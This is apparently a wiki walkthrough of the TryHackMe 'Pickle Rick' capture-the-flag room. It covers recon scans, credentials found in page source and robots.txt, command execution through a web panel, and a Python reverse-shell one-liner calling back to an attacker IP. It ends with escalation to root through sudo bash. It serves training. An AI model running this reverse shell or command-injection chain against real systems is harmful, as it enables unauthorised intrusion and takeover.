TryHackMe-Pickle-Rick

From aldeid
Jump to navigation Jump to search

Scans

Main page Source code

$ curl http://10.10.124.19/
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Rick is sup4r cool</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="assets/bootstrap.min.css">
  <script src="assets/jquery.min.js"></script>
  <script src="assets/bootstrap.min.js"></script>
  <style>
  .jumbotron {
    background-image: url("assets/rickandmorty.jpeg");
    background-size: cover;
    height: 340px;
  }
  </style>
</head>
<body>

  <div class="container">
    <div class="jumbotron"></div>
    <h1>Help Morty!</h1></br>
    <p>Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!</p></br>
    <p>I need you to <b>*BURRRP*</b>....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is,
    I have no idea what the <b>*BURRRRRRRRP*</b>, password was! Help Morty, Help!</p></br>
  </div>

  <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

</body>
</html>

Nmap

$ sudo nmap -sS -p- 10.10.124.19
[sudo] password for unknown: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 07:12 CEST
Nmap scan report for 10.10.124.19
Host is up (0.091s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 127.03 seconds

Nikto

$ ./nikto.pl -h http://10.10.124.19/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.124.19
+ Target Hostname:    10.10.124.19
+ Target Port:        80
+ Start Time:         2020-04-29 08:06:25 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.41). Apache 2.2.34 is the EOL for the 2.x branch.
+ Cookie PHPSESSID created without the httponly flag
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 8047 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2020-04-29 08:14:20 (GMT2) (475 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Gobuster

unknown@unknown:/data/src/wordlists$ gobuster -u http://10.10.124.19/ -w directory-list-2.3-medium.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.124.19/
[+] Threads      : 10
[+] Wordlist     : directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2020/04/29 08:12:43 Starting gobuster
=====================================================
/assets (Status: 301)
/server-status (Status: 403)
=====================================================
2020/04/29 08:30:25 Finished
=====================================================

robots.txt

$ curl http://10.10.124.19/robots.txt
Wubbalubbadubdub

Collected information

  • Version: Apache/2.4.18 (outdated)
  • Paths:
    • /index.html
    • /login.php
    • /icons/
    • /assets/
  • Username: R1ckRul3s
  • Password: Wubbalubbadubdub

Login

http://10.10.124.19/login.php Authenticate with login/password found and jump to http://10.10.124.19/portal.php

Commands panel

ls

ls

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
less clue.txt
Look around the file system for the other ingredient.
less Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair
grep -R .

$ echo -n "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
base64: invalid input
base64: invalid input
rabbit hole
python3 -V
Python 3.5.2

Reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.35.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Solution

What is the first ingredient Rick needs?

mr. meeseek hair

What is the second ingredient Rick needs?

Open a listener on your machine:

$ nc -lnvp 9999

Create the reverse shell by injecting the following payload to the command form (web page):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.35.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

On the reverse shell:

$ cd /home
$ ls
rick
ubuntu
$ cd rick
$ ls
second ingredients
$ cat second\ ingredients
1 jerry tear

What is the final ingredient Rick needs?

fleeb juice
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ip-10-10-207-16:/home/rick$ ls
ls
second ingredients
www-data@ip-10-10-207-16:/home/rick$ sudo -s
sudo -s
This account is currently not available.
www-data@ip-10-10-207-16:/home/rick$ sudo ubuntu
sudo ubuntu
sudo: ubuntu: command not found
www-data@ip-10-10-207-16:/home/rick$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-10-207-16:/home/rick$ sudo bash
sudo bash
root@ip-10-10-207-16:/home/rick# cd /ro 
cd /root/
root@ip-10-10-207-16:~# cd /root
cd /root
root@ip-10-10-207-16:~# ls
ls
3rd.txt  snap
root@ip-10-10-207-16:~# cat 3rd.txt
cat 3rd.txt
3rd ingredients: fleeb juice
root@ip-10-10-207-16:~#